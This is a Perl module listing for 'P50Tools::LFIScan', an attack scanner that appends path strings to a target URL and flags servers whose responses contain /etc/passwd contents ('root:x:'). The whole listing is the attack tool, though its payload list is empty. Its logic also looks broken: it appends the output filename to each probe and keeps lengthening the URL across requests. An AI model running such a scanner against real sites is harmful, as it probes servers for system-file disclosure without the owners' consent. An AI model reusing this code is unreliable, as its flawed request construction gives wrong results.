| 1 | package P50Tools::LFIScan; | ||
| 2 | |||
| 3 | use warnings; | ||
| 4 | use strict; | ||
| 5 | use lib 'Strings'; | ||
| 6 | use Moose; | ||
| 7 | use HTTP::Request; | ||
| 8 | use LWP::UserAgent; | ||
| 9 | |||
| 10 | { | ||
| 11 | no strict "vars"; | ||
| 12 | $VERSION = '0.1'; | ||
| 13 | } | ||
| 14 | |||
| 15 | =head1 | ||
| 16 | For more information go to L<P50Tools>. | ||
| 17 | =cut | ||
| 18 | |||
| 19 | our @string ; | ||
| 20 | has 'target' => (is => 'rw', isa => 'Str'); | ||
| 21 | has 'string_list' => (is => 'rw', | ||
| 22 | isa => 'Str', | ||
| 23 | default => 'nada'); | ||
| 24 | has 'output' => (is => 'rw', | ||
| 25 | isa => 'Str', | ||
| 26 | default => 'output.txt'); | ||
| 27 | sub scan{ | ||
| 28 | my $self = shift; | ||
| 29 | my $s1 = $self->target; | ||
| 30 | |||
| 31 | my $s3 = $self->output; | ||
| 32 | |||
| 33 | $s1 .= "/" if ($s1 !~ m~(.+)/~gi); | ||
| 34 | $s1 = "http://" . $s1 if ($s1 !~ /^http:/); | ||
| 35 | unless ($self->string_list eq 'nada') { open IN, $self->string_list or die "Cannot open data: $!"; @string = <IN>;} | ||
| 36 | if ($self->string_list eq 'nada') {@string = <DATA>;} | ||
| 37 | open OUT,">>". $s3 or croak('Cannot create archive:\n' . $!); | ||
| 38 | my $return = "Scan " . $s1; | ||
| 39 | print "Start..\n"; | ||
| 40 | foreach (@string){ | ||
| 41 | print "String ", $_; | ||
| 42 | $_ .= $s3; | ||
| 43 | chomp $_; | ||
| 44 | $s1 .= $_ ; | ||
| 45 | my $req=HTTP::Request->new(GET=>$s1); | ||
| 46 | my $ua=LWP::UserAgent->new(); | ||
| 47 | $ua->timeout(20); | ||
| 48 | my $response = $ua->request($req); | ||
| 49 | if ($response->is_success) { | ||
| 50 | if( $response->content =~ /root:x:/){ | ||
| 51 | print OUT "$s1\n"; | ||
| 52 | print "\t--> $s1 is vulnerable..\n"; | ||
| 53 | } | ||
| 54 | else { | ||
| 55 | print "\t--> Not vunerable..\n"; | ||
| 56 | } | ||
| 57 | } | ||
| 58 | else { | ||
| 59 | print "\t--> Not vunerable..\n"; | ||
| 60 | } | ||
| 61 | } | ||
| 62 | return $return; | ||
| 63 | } | ||
| 64 | no Moose; | ||
| 65 | 1; | ||
| 66 | __DATA__ |